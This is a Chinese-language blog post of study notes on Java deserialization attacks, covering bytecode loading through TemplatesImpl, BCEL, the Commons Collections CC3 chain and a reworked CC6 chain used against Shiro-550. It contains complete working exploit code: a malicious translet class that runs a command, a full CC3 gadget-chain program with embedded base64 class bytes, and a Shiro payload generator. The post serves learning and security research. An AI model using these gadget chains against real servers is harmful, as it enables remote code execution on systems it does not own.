Java安全漫谈学习笔记7-TemplatesImpl字节码

理解字节码

在c语言里,代码编译成exe或者elf,然后直接在cpu上跑,在python里,代码编译成.pyc文件,在python解释器里跑,Java也一样,编译成字节码.class文件,然后在Java虚拟机里运行。.class就是一堆二进制字节,就是jvm看的指令,jvm会根据这些指令去执行操作。

URLClassLoader加载

我们的目的是让受害者的jvm加载我们的恶意class文件,最常见的思路就是远程加载,把class文件放在自己服务器上,然后通过URLClassLoader去动态下载并加载。

但是这种方式太依赖网络环境了,如果目标不出网,就无法利用这个方式去加载

底层核心defineClass

Java的所有类加载,最后都会通过ClassLoader类的一个核心方法defineClass,这个方法接收一串字节数组,然后把这些字节数组变成内齿中的Class。

但是这是一个protected方法且是final的,所以没办法直接通过classLoader.defineClass调用,不过我们可以通过反射来强行调用

1
2
3
4
Method defineClass =ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class hello =(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
hello.newInstance();

但是defineclass在被调用的时候,类对象不会初始化。而在实际的反序列化利用场景中,defineClass方法作用域是不开放的,很少能直接利用到他。

一开始我想的是为什么不能用反射这么去调用这个方法,然后去问了Gemini,说是太长了

还有一点,defineClass被调用的时候,类对象不会被初始化(newinstance),也就是说我们想法子让受害者调用defineClass,它只是把我们的.class文件变成jvm内齿里的一个class模板,只是把炸药放进了仓库,因此即使我们把恶意代码写在static {}静态代码块,仅仅调用defineClass是不会触发这段代码的(其实还是不太懂,但是还是不要去揪这么深了)

TemplatesImpl类

这个类有以下几点:

  • jdk自带,所有Java都有
  • 它内部重写了defineClass方法,没有保护限制
  • 这个类里不仅能用defineClass,还紧接着自动调用newinstance

触发链条:

当调用TemplatesImpl.NewTransformer()或者getOutputProperties()时,它内部会有以下操作

getTransletInstance()->defineTransletClasses()->class.newInstance()

利用条件:

  • _bytecodes:塞入我们恶意类的.class字节数组
  • _name:任意
  • _tfactory:任意TransformerFactoryImpl对象

限制条件:

通过它加载的类,必须继承AbstractTranslet类,我们的恶意类就要这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
// 必须继承 AbstractTranslet!
public class HelloTemplatesImpl extends AbstractTranslet {
// 恶意代码放在无参构造函数里,或者 static {} 里
public HelloTemplatesImpl() {
super();
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
// 实现两个必须的方法(空着就行)
public void transform(...) {}
public void transform(...) {}
}

我们调用如下:

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {
byte[] code =[];
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}

那这个有什么用?

在我们之前反序列化都是执行单条命令,但是我们现在可以在自己的恶意类有很多操作,然后通过反序列化,反射调用上面的2种方法,然后受害者自动加载执行我们的恶意类

BCEL字节码

除了上面的那个类,jdk还有一个类加载器叫BCEL ClassLoader,这个加载器不需要你传字节数组,它能够允许你把字节经过特定编码后,变成一个字符串,然后开头加上$$BCEL$$,当我们让他去加载这个字符串的时候,它就会当场解码执行,它在Fastjson漏洞中比较出名,但是在Java 8u251之后被官方删除。

CC3链

在之前我们了解到可以调用newTransformer来加载字节码,再结合我们之前学到的cc1/cc6,通常都是在transformer中用invoketransformer

那我们在invoketransformer中调用newtransformer方法就行了,这样也可以加载字节码了

但是随着反序列化漏洞和工具的爆发,开发者也意识到了这个,然后他的出了一个黑名单,而InvokerTransformer就在里面。既然有了黑名单,那肯定就有人想办法去绕过,然后就有了现在这个链

黑客们先是找到了这个位于jdk内部的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法里调用了newTransformer方法,我们只要想办法调用这个构造方法就行了。

然后这个时候黑客们在CC库里找到了另外一个InstantiateTransformer,它的作用就是调用构造函数,正好就是我们需要的。

然后Transformer流水线里就换了几个transformer

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
// 1. 先传入目标类 TrAXFilter.class
new ConstantTransformer(TrAXFilter.class),

// 2. 使用安全的 InstantiateTransformer 去调用 TrAXFilter 的构造函数
new InstantiateTransformer(
new Class[] { Templates.class }, // 构造函数需要的参数类型
new Object[] { templatesImplObj } // 构造函数需要的实际参数 (塞满恶意字节码的 TemplatesImpl)
)
};

CC3链的本质是:TemplatesImpl提供加载恶意字节码-> TrAXFilter构造方法来触发加载恶意字节码-> InstantiateTransformer绕过黑名单触发构造方法。只是把cc1/cc6流水线里的transformer替换了一下,这是我用cc1的payload写的简单的demo,字节码来自p神原文中的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void setValue(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" +
"L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" +
"xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" +
"BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" +
"0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" +
"dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" +
"xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" +
"amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" +
"RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" +
"cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" +
"VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" +
"FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" +
"AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" +
"AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" +
"AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" +
"sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setValue(obj,"_bytecodes",new byte[][]{code});
setValue(obj,"_name","gYppSHXH");
setValue(obj,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
// 1. 先传入目标类 TrAXFilter.class
new ConstantTransformer(TrAXFilter.class),

// 2. 使用安全的 InstantiateTransformer 去调用 TrAXFilter 的构造函数
new InstantiateTransformer(
new Class[] { Templates.class }, // 构造函数需要的参数类型
new Object[] { obj } // 构造函数需要的实际参数 (塞满恶意字节码的 TemplatesImpl)
)
};

// 将上面的步骤串联起来,形成一个完整的执行链
Transformer transformerChain = new ChainedTransformer(transformers);

// =============================================================
// 第二步:准备触发环境 (The Trap)
// 目标:创建一个 Map,当它的 Entry 被修改(setValue)时,自动触发上面的链条
// =============================================================
Map innerMap = new HashMap();
// 【关键细节】Key 必须是 "value"
// 为什么?因为后面我们要利用 Retention 注解,它唯一的属性方法就叫 value()
// AnnotationInvocationHandler 会检查 Map 的 Key 是否和注解的属性名一致
innerMap.put("value", "xxxx");

// 使用 TransformedMap 包装,配置 transformChain
// 这里的逻辑是:每当 Map 里的值被修改,就会执行 transformerChain.transform(修改的值)
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// =============================================================
// 第三步:封装进反序列化入口类 (The Entry Point)
// 目标:找到一个 JDK 自带的类,它的 readObject 方法里会自动修改 Map 的值
// 这个类就是:sun.reflect.annotation.AnnotationInvocationHandler
// =============================================================

// 1. 获取这个私有类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 2. 获取构造函数 (它接收两个参数:注解类, Map)
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

// 3. 暴力访问私有构造函数
construct.setAccessible(true);

// 4. 实例化对象
// 传入 Retention.class 作为注解类型
// 传入我们精心构造的 outerMap
Object payload = construct.newInstance(Retention.class, outerMap);

// =============================================================
// 第四步:模拟序列化与反序列化 (The Attack)
// 在真实攻击中,这一步是把数据发送给服务器
// =============================================================

// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(payload);
// 4. 关闭流(好习惯)
oos.close();

// 打印看看生成了多少字节
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");

// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
System.out.println("开始反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object)ois.readObject();
}
}

字节码的用处

我们首先试着用cc6去打一下shiro-550,shiro的原理在之前的文章也有讲过,这里就不复述了。这里的shirodemo和序列化数据都是用p神的代码

但是把这字节发过去之后tomcat报错,也没弹计算器

这里面是Java在反序列化的时候,底层会调用一个resolveClass的方法,而shiro为了实现自己的一套机制,重写了这个方法,最后阴差阳错的调用了tomcat的类加载器,而这个加载器它不支持数组类型的类!

所以在shiro环境下,任何带有数组的序列化结构都会导致类加载器崩溃,反序列化中断。

那这个时候怎么办,transformer流水线肯定要用数组的,这个时候字节码就派上用场了,只要一次调用(触发加载字节码),就能执行复杂的操作,但是我们之前就是用transformer来把TemplatesImpl传给InvokerTransformer的,现在没法用了

然后在CC6链中的LazyMap.get(Object key)的方法中

1
2
3
4
5
6
7
8
9
// LazyMap 的 get 方法
public Object get(Object key) {
if (map.containsKey(key) == false) {
// 【奇迹发生的地方!】
// 它把 get 传进来的 key,直接当做参数传给了 transform 方法!
Object value = factory.transform(key);
...
}
}

其实这里我是没太懂这个transform是干嘛的,p神原文这么说的

然后我去问了ai,确实,就是一个传递的功能

然后之前的constant就是相当于传一个固定的,而不是输入进来的key什么的

那现在直接把TemplatesImpl传过去之后,只用调用一次InvokerTransformer了,就不用数组了,然后还有就是

这样就触发了我们想要的,然后之前constant就是相当于强行抢占了

然后payload用之前的cc6,然后把里面的数组改一下即可,这里用的是p神的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
//这里是之前cc6,需要把最初的缓存清除一下
setFieldValue(transformer, "iMethodName", "newTransformer");

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

然后在yakit中发给服务器,成功触发

看这一段的时候,回到之前cc6的笔记看了很久,也问了Gemini很多问题,隔的时间太久了都


Java安全漫谈学习笔记7-TemplatesImpl字节码
https://rightevil.github.io/Java安全漫谈学习笔记7-TemplatesImpl字节码/
作者
rightevil
发布于
2026年5月4日
许可协议